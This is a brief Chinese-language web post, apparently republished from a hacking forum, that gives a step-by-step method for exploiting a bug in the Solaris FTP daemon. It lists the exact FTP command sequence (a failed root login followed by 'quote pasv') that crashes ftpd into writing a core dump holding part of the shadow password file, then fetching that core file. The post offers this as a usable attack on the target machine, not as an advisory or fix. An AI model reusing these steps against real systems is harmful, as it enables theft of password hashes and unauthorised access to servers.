| 关键词: nbsp core 会报 口令 一个 ftp 文件 方法 FTPD 机上 |
该方法利用了Solaris 操作系统中FTPD的一个BUG,使得用户可以获得该机的口令文件。具体过程如下: 1.通过 ftp 正常登录到目的主机上 2.输入如下命令序列: ftp> user root wrongpasswd ftp> quote pasv 3.这时,ftpd会报错退出,同时会在当前目录下生成一个core,口令文件就包含在这个core中。 4.再次进入FTP >get core 补充:虽然在core只有一部分shadow,但是对于系统来说已经是致命的打击了 这是我知道的一个方法~ 拿来丢人了啊~ |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|